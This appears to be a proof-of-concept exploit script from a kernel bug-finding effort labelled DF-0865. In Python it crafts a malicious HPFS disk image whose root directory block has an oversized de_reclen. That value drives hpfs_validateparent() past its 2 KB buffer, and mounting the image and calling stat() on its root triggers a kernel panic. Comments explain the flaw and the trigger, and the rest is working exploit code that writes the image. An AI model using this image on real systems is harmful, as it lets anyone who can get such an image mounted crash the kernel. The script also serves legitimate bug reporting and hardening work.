DF-0865 / mk_hpfs.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | #!/usr/bin/env python3 # mk_hpfs.py — Craft a minimal-but-valid HPFS image whose root directory # block has a dep (hpfsdirent) chain that walks past the 2 KB bread buffer, # specifically to trigger hpfs_validateparent() in sys/vfs/hpfs/hpfs_subr.c. # # DF-0865 bug: hpfs_validateparent() does # bread(dhp->h_devvp, dbtodoff(lsn), D_BSIZE=2048, &bp) [hpfs_subr.c:556] # dp = (struct dirblk *) bp->b_data; # dep = D_DIRENT(dp) = bp->b_data + sizeof(dirblk_t) (=20) [:567] # while(!(dep->de_flag & DE_END)) { [:598] # if (hp->h_no == dep->de_fnode) goto readdone; # dep = (hpfsdirent_t *)((caddr_t)dep + dep->de_reclen); [:610] # } # if(dep->de_flag & DE_DOWN) { ... } [:613] # # de_reclen is a u_int16_t taken straight off disk (attacker-controlled), # and there is NO check that dep stays within [bp->b_data, bp->b_data+D_BSIZE). # So a crafted dir block with a large de_reclen makes dep jump past the # 2 KB buffer -> panic (page fault on unmapped OOB page) when the post-loop # / next-iteration code reads dep->de_flag. # # Trigger: a plain stat() on the root of the mount calls VOP_GETATTR -> # hpfs_getattr (sys/vfs/hpfs/hpfs_vnops.c:467) -> hpfs_validateparent when # H_PARVALID is not yet set. Root's fn_parent == h_no (self), so dhp=hp=root # and the walk happens over root's own crafted directory block. # # Same image structure as DF-0830 (proven valid + mountable). # # Layout (sector = 512 B): # 16 SuperBlock (SU_MAGIC, rootfno=30, btotal=100, bitmap.lsn1=40) # 17 SpareBlock (SP_MAGIC, sp_cpinum=0 -> skip cpinit) # 40 bmind[1] (lsn of band-0 bitmap = 50) # 50..53 band-0 bitmap (4 KB all-marked-used) # 30 root fnode (FN_MAGIC, fn_flag=1 -> VDIR, al_leaf -> dir block) # 60..63 dir block (D_MAGIC, single dep with de_reclen=0x0900, flag=0) # # Run: python3 mk_hpfs.py evil.hpfs import struct, sys SECTOR = 512 DISK_SECTORS = 200 img = bytearray(DISK_SECTORS * SECTOR) SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE ROOTFNO = 30 BTOTAL = 100 BMIND_LSN = 40 BITMAP_LSN = 50 DIRBLK_LSN = 60 # ---- Sector 16: SuperBlock (struct sublock) ---- sub = bytearray(512) struct.pack_into('<Q', sub, 0, SU_MAGIC) sub[8] = 3; sub[9] = 0 struct.pack_into('<H', sub, 10, 0) struct.pack_into('<I', sub, 12, ROOTFNO) struct.pack_into('<I', sub, 16, BTOTAL) struct.pack_into('<I', sub, 20, 0) # badbtotal struct.pack_into('<II', sub, 24, BMIND_LSN, BMIND_LSN) # su_bitmap struct.pack_into('<II', sub, 32, 0, 0) # su_badbl struct.pack_into('<II', sub, 40, 0, 0) # chkdsk, dskopt struct.pack_into('<I', sub, 48, 0) struct.pack_into('<I', sub, 52, 0) struct.pack_into('<I', sub, 56, 0) struct.pack_into('<I', sub, 60, 0) struct.pack_into('<I', sub, 96, 0) # uidt off = 16 * SECTOR; img[off:off+512] = sub # ---- Sector 17: SpareBlock (struct spblock) ---- sp = bytearray(512) struct.pack_into('<Q', sp, 0, SP_MAGIC) struct.pack_into('<H', sp, 8, 0) sp[10] = 0; sp[11] = 0 struct.pack_into('<I', sp, 12, 0) # sp_hf struct.pack_into('<I', sp, 16, 0) # sp_hfinuse struct.pack_into('<I', sp, 20, 0) # sp_hfavail struct.pack_into('<I', sp, 24, 0) # sp_spdbavail struct.pack_into('<I', sp, 28, 0) # sp_spdbmax struct.pack_into('<I', sp, 32, 0) # sp_cpi struct.pack_into('<I', sp, 36, 0) # sp_cpinum = 0 off = 17 * SECTOR; img[off:off+512] = sp # ---- Sector 40: bmind[1] ---- struct.pack_into('<I', img, BMIND_LSN * SECTOR, BITMAP_LSN) # ---- Sectors 50..53: band-0 bitmap (4 KB, all bits set) ---- bm = bytearray(2048) for i in range(BTOTAL): bm[i // 8] |= (1 << (i % 8)) off = BITMAP_LSN * SECTOR; img[off:off+2048] = bm # ---- Sectors 60..63: MALICIOUS dir block (D_BSIZE = 2048 bytes) ---- # dirblk_t { u32 d_magic; u32 d_freeoff; u32 d_chcnt; lsn_t d_parent; # lsn_t d_self; } sizeof = 20 # Then hpfsdirent_t entries. de_reclen at offset 0, de_flag at offset 2. # # Single dep with: # de_reclen = 0x0900 (2304) -> dep advances from bp->b_data+20 to # bp->b_data+2324, 276 bytes PAST the # 2048-byte buffer (adjacent kernel heap). # de_flag = 0x0000 -> no DE_END (loop continues). # de_fnode = 0 -> never matches root h_no (30), so the loop # does NOT break early; it advances dep. DE_RECKEN = 0x0900 D_BSIZE = 2048 db = bytearray(D_BSIZE) struct.pack_into('<I', db, 0, D_MAGIC) struct.pack_into('<I', db, 4, 0x30) # d_freeoff struct.pack_into('<I', db, 8, 0) # d_chcnt struct.pack_into('<I', db, 12, ROOTFNO) # d_parent struct.pack_into('<I', db, 16, DIRBLK_LSN) # d_self # dep at offset 20 (sizeof dirblk_t): struct.pack_into('<H', db, 20, DE_RECKEN) # de_reclen = 0x0900 struct.pack_into('<H', db, 22, 0x0000) # de_flag = 0 (no DE_END) # All other bytes of the dep and the rest of the block are already 0. off = DIRBLK_LSN * SECTOR; img[off:off+2048] = db # ---- Sector 30: root fnode ---- fn = bytearray(512) struct.pack_into('<I', fn, 0, FN_MAGIC) fn[16] = 0 # namelen struct.pack_into('<I', fn, 32, ROOTFNO) # fn_parent = self struct.pack_into('<H', fn, 56, 0) # fn_ealen = 0 fn[59] = 1 # fn_flag = VDIR # alblk_t at fn_ab (offset 60): struct.pack_into('<B', fn, 60, 0) # ab_flag = 0 (leaf) struct.pack_into('<B', fn, 64, 0) # ab_freecnt struct.pack_into('<B', fn, 65, 1) # ab_busycnt = 1 struct.pack_into('<H', fn, 66, 0x14) # ab_freeoff # alleaf_t at fn_abd[0] (offset 68): struct.pack_into('<I', fn, 68, 0) # al_off struct.pack_into('<I', fn, 72, 1) # al_len struct.pack_into('<I', fn, 76, DIRBLK_LSN) # al_lsn -> crafted dir off = ROOTFNO * SECTOR; img[off:off+512] = fn with open(sys.argv[1], 'wb') as f: f.write(img) print(f"wrote {sys.argv[1]}: {len(img)} bytes, rootfno={ROOTFNO}, " f"dirblk_lsn={DIRBLK_LSN}, dep0 de_reclen={DE_RECKEN:#06x} " f"(jumps {DE_RECKEN} B from off 20 -> {20+DE_RECKEN} = " f"{20+DE_RECKEN-2048} B past 2KB buffer)") |